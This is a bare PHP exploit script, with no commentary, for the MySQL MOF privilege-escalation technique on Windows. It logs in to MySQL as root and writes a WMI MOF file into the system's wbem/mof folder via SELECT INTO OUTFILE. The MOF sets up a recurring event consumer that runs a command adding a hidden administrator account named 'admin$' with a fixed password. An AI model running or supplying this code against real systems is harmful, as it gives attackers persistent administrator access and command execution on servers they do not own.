$mysql_server_name='localhost';
$mysql_username='root';
$mysql_password='';
$mysql_database='mysql';
$conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password,$mysql_database);
$cmdshell="net user admin$ qwe!@#123qwe /add";
$payload = "#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActivescriptEventConsumer as $Consumer
{
Name = "consPCSV2";
scriptingEngine = "Jscript";
scriptText =
"var WSH = new ActiveXObject(\"Wscript.Shell\")\nWSH.run(\"$cmdshell\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};";
mysql_select_db($mysql_database,$conn);
$sql="select '$payload' into outfile 'c:/windows/system32/wbem/mof/nullevt.mof';";
$result=mysql_query($sql);
mysql_close($conn);
?>
